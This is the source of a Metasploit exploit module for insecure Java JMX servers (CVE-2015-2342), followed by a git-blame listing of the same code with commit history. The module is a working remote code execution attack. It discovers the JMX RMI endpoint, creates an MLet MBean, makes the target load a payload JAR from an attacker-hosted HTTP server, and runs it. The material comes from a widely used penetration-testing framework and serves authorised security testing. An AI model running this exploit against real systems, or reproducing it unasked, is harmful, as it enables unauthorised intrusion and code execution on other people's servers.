modules/exploits/multi/misc/java_jmx_server.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Java::Rmi::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
        'Description' => %q{
          This module takes advantage a Java JMX interface insecure configuration, which would
          allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
          disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
          interfaces with authentication enabled will be vulnerable only if a weak configuration
          is deployed (allowing to use javax.management.loading.MLet, having a security manager
          allowing to load a ClassLoader MBean, etc.).
        },
        'Author' => [
          'Braden Thomas', # Attack vector discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
          ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
          ['CVE', '2015-2342']
        ],
        'Platform' => 'java',
        'Arch' => ARCH_JAVA,
        'Privileged' => false,
        'Payload' => { 'BadChars' => '', 'DisableNops' => true },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DefaultOptions' => {
          'WfsDelay' => 10
        },
        'Targets' => [
          [ 'Generic (Java Payload)', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-05-22',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
    ])
    register_common_rmi_ports_and_services
  end

  def post_auth?
    true
  end

  def on_request_uri(cli, request)
    if @jar.nil?
      p = regenerate_payload(cli)
      @jar = p.encoded_jar({ random: true })
      paths = [
        ["metasploit", "JMXPayloadMBean.class"],
        ["metasploit", "JMXPayload.class"],
      ]

      @jar.add_file('metasploit/', '')
      paths.each do |path_parts|
        path = ['java', path_parts].flatten.join('/')
        contents = ::MetasploitPayloads.read(path)
        @jar.add_file(path_parts.join('/'), contents)
      end
    end

    if request.uri =~ /mlet$/
      jar = "#{rand_text_alpha(8 + rand(8))}.jar"

      mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
      mlet << "archive=\"#{jar}\" "
      mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
      mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
      send_response(cli, mlet,
                    {
                      'Content-Type' => 'application/octet-stream',
                      'Pragma' => 'no-cache'
                    })

      print_status("Replied to request for mlet")
    elsif request.uri =~ /\.jar$/i
      send_response(cli, @jar.pack,
                    {
                      'Content-Type' => 'application/java-archive',
                      'Pragma' => 'no-cache'
                    })
      print_status("Replied to request for payload JAR")
    end
  end

  def autofilter
    return true
  end

  def check
    connect

    unless is_rmi?
      return Exploit::CheckCode::Safe('Target is not an RMI endpoint')
    end

    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    unless is_rmi?
      disconnect
      return Exploit::CheckCode::Unknown('RMI endpoint not found on discovered MBean server')
    end

    jmx_endpoint = handshake(mbean_server)
    disconnect
    if jmx_endpoint.nil?
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Appears('JMX endpoint discovered on target')
  end

  def exploit
    vprint_status("Starting service...")
    start_service

    @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
    connect

    print_status("Sending RMI Header...")
    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
    end

    print_status("Discovering the JMXRMI endpoint...")
    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
    else
      print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
    end

    # First try to connect to the original RHOST, since the mbean address may be inaccessible
    begin
      connect(true, { 'RPORT' => mbean_server[:port] })
    rescue Rex::ConnectionError
      # If that fails, try connecting to the listed address instead
      connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    end

    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
    end

    print_status("Proceeding with handshake...")
    jmx_endpoint = handshake(mbean_server)
    if jmx_endpoint.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
    else
      print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
    end

    print_status("Loading payload...")
    unless load_payload(jmx_endpoint)
      fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
    end

    print_status("Executing payload...")
    send_jmx_invoke(
      object_number: jmx_endpoint[:object_number],
      uid_number: jmx_endpoint[:uid].number,
      uid_time: jmx_endpoint[:uid].time,
      uid_count: jmx_endpoint[:uid].count,
      object: "#{@mlet}:name=jmxpayload,id=1",
      method: 'run'
    )
    disconnect
  end

  def is_rmi?
    send_header
    ack = recv_protocol_ack
    if ack.nil?
      return false
    end

    true
  end

  def discover_endpoint
    rmi_classes_and_interfaces = [
      'javax.management.remote.rmi.RMIConnectionImpl',
      'javax.management.remote.rmi.RMIConnectionImpl_Stub',
      'javax.management.remote.rmi.RMIConnector',
      'javax.management.remote.rmi.RMIConnectorServer',
      'javax.management.remote.rmi.RMIIIOPServerImpl',
      'javax.management.remote.rmi.RMIJRMPServerImpl',
      'javax.management.remote.rmi.RMIServerImpl',
      'javax.management.remote.rmi.RMIServerImpl_Stub',
      'javax.management.remote.rmi.RMIConnection',
      'javax.management.remote.rmi.RMIServer'
    ]
    ref = send_registry_lookup(name: datastore['JMXRMI'])
    return nil if ref.nil?

    unless rmi_classes_and_interfaces.include? ref[:object]
      vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
      return nil
    end

    ref
  end

  def handshake(mbean)
    begin
      opts = {
        object_number: mbean[:object_number],
        uid_number: mbean[:uid].number,
        uid_time: mbean[:uid].time,
        uid_count: mbean[:uid].count
      }

      if datastore['JMX_ROLE']
        username = datastore['JMX_ROLE']
        password = datastore['JMX_PASSWORD']
        opts.merge!(username: username, password: password)
      end

      ref = send_new_client(opts)
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
      return nil
    end

    ref
  end

  def load_payload(conn_stub)
    vprint_status("Getting JMXPayload instance...")

    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: "#{@mlet}:name=jmxpayload,id=1"
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceNotFoundException'
        vprint_warning("JMXPayload instance not found, trying to load")
        return load_payload_from_url(conn_stub)
      else
        vprint_error("getObjectInstance returned unexpected exception #{e.message}")
        return false
      end
    end

    return false if res.nil?

    true
  end

  def load_payload_from_url(conn_stub)
    vprint_status("Creating javax.management.loading.MLet MBean...")

    begin
      res = send_jmx_create_mbean(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'javax.management.loading.MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceAlreadyExistsException'
        vprint_good("javax.management.loading.MLet already exists")
        res = true
      when 'java.lang.SecurityException'
        vprint_error(" The provided user hasn't enough privileges")
        res = nil
      else
        vprint_error("createMBean raised unexpected exception #{e.message}")
        res = nil
      end
    end

    if res.nil?
      vprint_error("The request to createMBean failed")
      return false
    end

    vprint_status("Getting javax.management.loading.MLet instance...")
    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'DefaultDomain:type=MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The request to GetObjectInstance failed")
      return false
    end

    vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")

    begin
      res = send_jmx_invoke(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        object: 'DefaultDomain:type=MLet',
        method: 'getMBeansFromURL',
        args: { 'java.lang.String' => "#{get_uri}/mlet" }
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("invoke() returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The call to getMBeansFromURL failed")
      return false
    end

    true
  end
end
Add initial JMX module 2015-01-15 16:41:37 -06:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`# Current source: https://github.com/rapid7/metasploit-framework`
			`##`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`Rank = ExcellentRanking`

			`include Msf::Exploit::Remote::HttpServer`
Move Msf::Java to the normal Msf::Exploit::Remote namespace 2015-10-09 13:24:34 -07:00			`include Msf::Exploit::Remote::Java::Rmi::Client`
Add initial JMX module 2015-01-15 16:41:37 -06:00
			`def initialize(info = {})`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`super(`
			`update_info(`
			`info,`
			`'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',`
			`'Description' => %q{`
			`This module takes advantage a Java JMX interface insecure configuration, which would`
			`allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication`
			`disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while`
			`interfaces with authentication enabled will be vulnerable only if a weak configuration`
			`is deployed (allowing to use javax.management.loading.MLet, having a security manager`
			`allowing to load a ClassLoader MBean, etc.).`
			`},`
			`'Author' => [`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`'Braden Thomas', # Attack vector discovery`
			`'juan vazquez' # Metasploit module`
			`],`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`'License' => MSF_LICENSE,`
			`'References' => [`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],`
Modified Accuvant bog posts to the new Optive urls 2017-08-01 22:39:14 -04:00			`['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],`
Remove spaces 2015-10-01 18:56:37 +02:00			`['CVE', '2015-2342']`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`],`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`'Platform' => 'java',`
			`'Arch' => ARCH_JAVA,`
			`'Privileged' => false,`
			`'Payload' => { 'BadChars' => '', 'DisableNops' => true },`
			`'Stance' => Msf::Exploit::Stance::Aggressive,`
			`'DefaultOptions' => {`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`'WfsDelay' => 10`
			`},`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`'Targets' => [`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`[ 'Generic (Java Payload)', {} ]`
			`],`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`'DefaultTarget' => 0,`
Adds sentinel values to modules missing notes 2025-06-23 12:00:29 +01:00			`'DisclosureDate' => '2013-05-22',`
			`'Notes' => {`
Update info -d markdown 2025-06-23 12:43:46 +01:00			`'Reliability' => UNKNOWN_RELIABILITY,`
			`'Stability' => UNKNOWN_STABILITY,`
			`'SideEffects' => UNKNOWN_SIDE_EFFECTS`
Adds sentinel values to modules missing notes 2025-06-23 12:00:29 +01:00			`}`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`)`
			`)`
Add initial JMX module 2015-01-15 16:41:37 -06:00
			`register_options([`
Support JMX_ROLE again 2015-03-23 17:32:26 -05:00			`Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),`
Make code consistent 2015-03-24 11:44:26 -05:00			`Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),`
			`Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])`
Fix msf/core and self.class msftidy warnings 2017-05-03 15:42:21 -05:00			`])`
Update autoregister_ports, try both addresses for the MBean 2015-10-09 20:20:35 -07:00			`register_common_rmi_ports_and_services`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Update false negatives on post auth information 2018-08-20 15:43:07 -05:00			`def post_auth?`
			`true`
			`end`

Add initial JMX module 2015-01-15 16:41:37 -06:00			`def on_request_uri(cli, request)`
Java JMX Package Name Randomization 2018-04-19 10:10:56 -07:00			`if @jar.nil?`
			`p = regenerate_payload(cli)`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`@jar = p.encoded_jar({ random: true })`
Java JMX Package Name Randomization 2018-04-19 10:10:56 -07:00			`paths = [`
			`["metasploit", "JMXPayloadMBean.class"],`
			`["metasploit", "JMXPayload.class"],`
			`]`
Support adding encrypted files to archives & jars 2023-10-09 17:58:00 +01:00
			`@jar.add_file('metasploit/', '')`
			`paths.each do \|path_parts\|`
			`path = ['java', path_parts].flatten.join('/')`
			`contents = ::MetasploitPayloads.read(path)`
			`@jar.add_file(path_parts.join('/'), contents)`
			`end`
Java JMX Package Name Randomization 2018-04-19 10:10:56 -07:00			`end`

Add initial JMX module 2015-01-15 16:41:37 -06:00			`if request.uri =~ /mlet$/`
Randomize MLet name 2015-01-21 00:36:34 -06:00			`jar = "#{rand_text_alpha(8 + rand(8))}.jar"`
Add initial JMX module 2015-01-15 16:41:37 -06:00
Java JMX Package Name Randomization 2018-04-19 10:10:56 -07:00			`mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`mlet << "archive=\"#{jar}\" "`
Randomize MLet name 2015-01-21 00:36:34 -06:00			`mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"`
			`send_response(cli, mlet,`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`{`
			`'Content-Type' => 'application/octet-stream',`
			`'Pragma' => 'no-cache'`
			`})`
Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00
			`print_status("Replied to request for mlet")`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`elsif request.uri =~ /\.jar$/i`
Java JMX Package Name Randomization 2018-04-19 10:10:56 -07:00			`send_response(cli, @jar.pack,`
Runs Rubocop to fix layout in modules 2025-06-20 13:20:44 +01:00			`{`
			`'Content-Type' => 'application/java-archive',`
			`'Pragma' => 'no-cache'`
			`})`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`print_status("Replied to request for payload JAR")`
			`end`
			`end`

Fix autofilter values for aggressive modules 2015-10-13 15:56:18 -07:00			`def autofilter`
			`return true`
			`end`

Delete sock_server variable 2015-01-20 20:51:20 -06:00			`def check`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`connect`
Delete sock_server variable 2015-01-20 20:51:20 -06:00
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`unless is_rmi?`
Add human-readable descriptions to CheckCode returns in remaining multi exploit modules 2026-04-22 11:58:09 +01:00			`return Exploit::CheckCode::Safe('Target is not an RMI endpoint')`
Delete sock_server variable 2015-01-20 20:51:20 -06:00			`end`

Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`mbean_server = discover_endpoint`
			`disconnect`
			`if mbean_server.nil?`
Add human-readable descriptions to CheckCode returns in remaining multi exploit modules 2026-04-22 11:58:09 +01:00			`return Exploit::CheckCode::Safe('The target is not vulnerable')`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`end`

Fix invalid use of RPORT (should be RHOST) 2015-02-24 05:24:09 -06:00			`connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`unless is_rmi?`
Add human-readable descriptions to CheckCode returns in remaining multi exploit modules 2026-04-22 11:58:09 +01:00			`disconnect`
			`return Exploit::CheckCode::Unknown('RMI endpoint not found on discovered MBean server')`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`end`

			`jmx_endpoint = handshake(mbean_server)`
			`disconnect`
			`if jmx_endpoint.nil?`
Add human-readable descriptions to CheckCode returns in remaining multi exploit modules 2026-04-22 11:58:09 +01:00			`return Exploit::CheckCode::Detected('The target service was detected')`
Delete default values for datastore options 2015-01-21 00:14:46 -06:00			`end`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
Add human-readable descriptions to CheckCode returns in remaining multi exploit modules 2026-04-22 11:58:09 +01:00			`Exploit::CheckCode::Appears('JMX endpoint discovered on target')`
Delete sock_server variable 2015-01-20 20:51:20 -06:00			`end`

Add initial JMX module 2015-01-15 16:41:37 -06:00			`def exploit`
Webserver starts at the beginning, stops at the end 2015-09-12 19:42:31 +02:00			`vprint_status("Starting service...")`
			`start_service`

More redundant cleanup calls 2022-03-11 12:22:27 +11:00			`@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"`
			`connect`

			`print_status("Sending RMI Header...")`
			`unless is_rmi?`
			`fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")`
			`end`

			`print_status("Discovering the JMXRMI endpoint...")`
			`mbean_server = discover_endpoint`
			`disconnect`
			`if mbean_server.nil?`
			`fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")`
			`else`
			`print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")`
			`end`

			`# First try to connect to the original RHOST, since the mbean address may be inaccessible`
Update autoregister_ports, try both addresses for the MBean 2015-10-09 20:20:35 -07:00			`begin`
More redundant cleanup calls 2022-03-11 12:22:27 +11:00			`connect(true, { 'RPORT' => mbean_server[:port] })`
			`rescue Rex::ConnectionError`
			`# If that fails, try connecting to the listed address instead`
			`connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })`
Update autoregister_ports, try both addresses for the MBean 2015-10-09 20:20:35 -07:00			`end`
More redundant cleanup calls 2022-03-11 12:22:27 +11:00
			`unless is_rmi?`
			`fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")`
			`end`

			`print_status("Proceeding with handshake...")`
			`jmx_endpoint = handshake(mbean_server)`
			`if jmx_endpoint.nil?`
			`fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")`
			`else`
			`print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")`
			`end`

			`print_status("Loading payload...")`
			`unless load_payload(jmx_endpoint)`
			`fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")`
			`end`

			`print_status("Executing payload...")`
			`send_jmx_invoke(`
			`object_number: jmx_endpoint[:object_number],`
			`uid_number: jmx_endpoint[:uid].number,`
			`uid_time: jmx_endpoint[:uid].time,`
			`uid_count: jmx_endpoint[:uid].count,`
			`object: "#{@mlet}:name=jmxpayload,id=1",`
			`method: 'run'`
			`)`
			`disconnect`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`

			`def is_rmi?`
			`send_header`
			`ack = recv_protocol_ack`
			`if ack.nil?`
			`return false`
			`end`

			`true`
			`end`

			`def discover_endpoint`
Fixed classes names and added RMI interfaces 2018-01-17 17:10:36 +01:00			`rmi_classes_and_interfaces = [`
			`'javax.management.remote.rmi.RMIConnectionImpl',`
			`'javax.management.remote.rmi.RMIConnectionImpl_Stub',`
			`'javax.management.remote.rmi.RMIConnector',`
			`'javax.management.remote.rmi.RMIConnectorServer',`
			`'javax.management.remote.rmi.RMIIIOPServerImpl',`
			`'javax.management.remote.rmi.RMIJRMPServerImpl',`
			`'javax.management.remote.rmi.RMIServerImpl',`
			`'javax.management.remote.rmi.RMIServerImpl_Stub',`
			`'javax.management.remote.rmi.RMIConnection',`
			`'javax.management.remote.rmi.RMIServer'`
Added all the classes that implement RMI server 2018-01-17 17:03:32 +01:00			`]`
Make code consistent 2015-03-24 11:44:26 -05:00			`ref = send_registry_lookup(name: datastore['JMXRMI'])`
Delete JMX discovery stream 2015-03-23 10:21:37 -05:00			`return nil if ref.nil?`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
Fixed classes names and added RMI interfaces 2018-01-17 17:10:36 +01:00			`unless rmi_classes_and_interfaces.include? ref[:object]`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`return nil`
			`end`

Delete JMX discovery stream 2015-03-23 10:21:37 -05:00			`ref`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`

			`def handshake(mbean)`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
Support JMX_ROLE again 2015-03-23 17:32:26 -05:00			`opts = {`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`object_number: mbean[:object_number],`
			`uid_number: mbean[:uid].number,`
			`uid_time: mbean[:uid].time,`
			`uid_count: mbean[:uid].count`
Support JMX_ROLE again 2015-03-23 17:32:26 -05:00			`}`

			`if datastore['JMX_ROLE']`
			`username = datastore['JMX_ROLE']`
			`password = datastore['JMX_PASSWORD']`
			`opts.merge!(username: username, password: password)`
			`end`

			`ref = send_new_client(opts)`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`rescue ::Rex::Proto::Rmi::Exception => e`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("JMXRMI discovery raised an exception of type #{e.message}")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`return nil`
			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`ref`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Delete sock_server variable 2015-01-20 20:51:20 -06:00			`def load_payload(conn_stub)`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Getting JMXPayload instance...")`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_get_object_instance(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`name: "#{@mlet}:name=jmxpayload,id=1"`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
			`case e.message`
			`when 'javax.management.InstanceNotFoundException'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_warning("JMXPayload instance not found, trying to load")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`return load_payload_from_url(conn_stub)`
			`else`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("getObjectInstance returned unexpected exception #{e.message}")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`return false`
			`end`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`
JMX code refactoring 2015-03-23 17:06:51 -05:00
			`return false if res.nil?`

			`true`
Refactor get_mbean_server 2015-01-20 23:44:33 -06:00			`end`

			`def load_payload_from_url(conn_stub)`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Creating javax.management.loading.MLet MBean...")`
Remove old JMX mixin 2015-03-23 15:48:10 -05:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_create_mbean(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`name: 'javax.management.loading.MLet'`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
			`case e.message`
			`when 'javax.management.InstanceAlreadyExistsException'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_good("javax.management.loading.MLet already exists")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`res = true`
			`when 'java.lang.SecurityException'`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error(" The provided user hasn't enough privileges")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`res = nil`
			`else`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("createMBean raised unexpected exception #{e.message}")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`res = nil`
			`end`
			`end`
Refactor exploit code 2015-01-21 00:07:00 -06:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`if res.nil?`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("The request to createMBean failed")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Getting javax.management.loading.MLet instance...")`
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_get_object_instance(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`name: 'DefaultDomain:type=MLet'`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("getObjectInstance returned unexpected exception: #{e.message}")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`if res.nil?`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("The request to GetObjectInstance failed")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")`
Add initial JMX module 2015-01-15 16:41:37 -06:00
JMX code refactoring 2015-03-23 17:06:51 -05:00			`begin`
			`res = send_jmx_invoke(`
			`object_number: conn_stub[:object_number],`
			`uid_number: conn_stub[:uid].number,`
			`uid_time: conn_stub[:uid].time,`
			`uid_count: conn_stub[:uid].count,`
			`object: 'DefaultDomain:type=MLet',`
			`method: 'getMBeansFromURL',`
			`args: { 'java.lang.String' => "#{get_uri}/mlet" }`
			`)`
			`rescue ::Rex::Proto::Rmi::Exception => e`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("invoke() returned unexpected exception: #{e.message}")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`if res.nil?`
Remove now-redundant peer 2016-02-01 15:12:03 -06:00			`vprint_error("The call to getMBeansFromURL failed")`
Refactor exploit code 2015-01-21 00:07:00 -06:00			`return false`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`

JMX code refactoring 2015-03-23 17:06:51 -05:00			`true`
Add initial JMX module 2015-01-15 16:41:37 -06:00			`end`
			`end`